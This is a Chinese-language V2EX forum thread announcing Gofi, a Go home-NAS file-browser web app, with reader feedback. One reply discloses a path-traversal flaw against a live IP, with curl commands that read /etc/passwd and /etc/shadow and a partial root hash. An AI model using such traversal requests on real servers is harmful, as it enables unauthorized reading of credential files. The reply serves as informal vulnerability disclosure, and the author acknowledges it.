一个用 Go 语言实现的 Web 网盘应用-Gofi

2019-12-14 00:02:09 +08:00
 Smash

最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。

技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)

目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。

应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。

Github 地址:

https://github.com/Sloaix/Gofi

更新计划:

https://github.com/Sloaix/Gofi/projects

上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。

希望对大家有点小用。

11877 次点击
所在节点    分享创造
57 条回复
Smash
2019-12-14 00:03:08 +08:00
PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
Smash
2019-12-14 00:05:12 +08:00
预览网址:

http://gofi.sloaix.com
KasuganoSoras
2019-12-14 00:07:29 +08:00
界面好评,比隔壁某闭源网盘好看多了
wslwsl
2019-12-14 07:22:59 +08:00
好看,赞,最好手机端加个下载按钮就更方便了。
Smash
2019-12-14 08:00:06 +08:00
@wslwsl #4 还没有适配手机。。。
slwl
2019-12-14 08:02:17 +08:00
什么时候加个权限控制,感觉很好用哈
takemeh
2019-12-14 08:47:12 +08:00
@KasuganoSoras 你说的是我写的这个吗 http://cnt2.cf:5156/
@slwl 我那个有权限,体积小,能放 OpenWrt 上运行。
takemeh
2019-12-14 08:53:12 +08:00
@slwl 演示地址的密码和用户名都是 abc
界面很简陋的,和楼主的比起来相形见绌。
Smash
2019-12-14 08:55:15 +08:00
@slwl #6 这个会加上的,不 2019 年来不及了。想加的功能有点多。
bequt
2019-12-14 09:19:26 +08:00
@takemeh 网址挂了
bequt
2019-12-14 09:22:09 +08:00
@takemeh 恢复了,图标换新了耶
rootooroot
2019-12-14 10:33:46 +08:00
任意文件下载 权限太高了 连 shadow 都可以读
http://129.226.186.76/api/download?path=../../../etc/passwd

curl http://129.226.186.76/api/download\?path\=../../../../etc/issue
Ubuntu 16.04.1 LTS \n \l

curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow
root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf
jngke931126
2019-12-14 10:49:25 +08:00
@takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。
以及 https 支持,这个部署到外网很有必要了。

同时非常好奇这些功能怎么到这么小体积的,
略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。

意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。

你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。
下载到的版本和演示版本外观不一样啊,还没有更新吗?

最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。
Smash
2019-12-14 10:49:35 +08:00
@rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
takemeh
2019-12-14 11:30:10 +08:00
@jngke931126
webd 这个体积实现这些功能是正常的,本来就是很简单的东西。
一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。
linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。
webd 只依赖内核和 C 运行库(glibc 或 musl)
你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。
richzhu
2019-12-14 11:46:51 +08:00
界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
xyok
2019-12-14 12:10:03 +08:00
挺不错的,logo 图标也是自己设计的吗
alexliux
2019-12-14 13:29:23 +08:00
star 学习一波
Smash
2019-12-14 13:39:15 +08:00
@xyok 自己设计的,用手绘板出个草图,再用 PS 出的矢量图。
Smash
2019-12-14 13:41:27 +08:00
@takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/628911

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX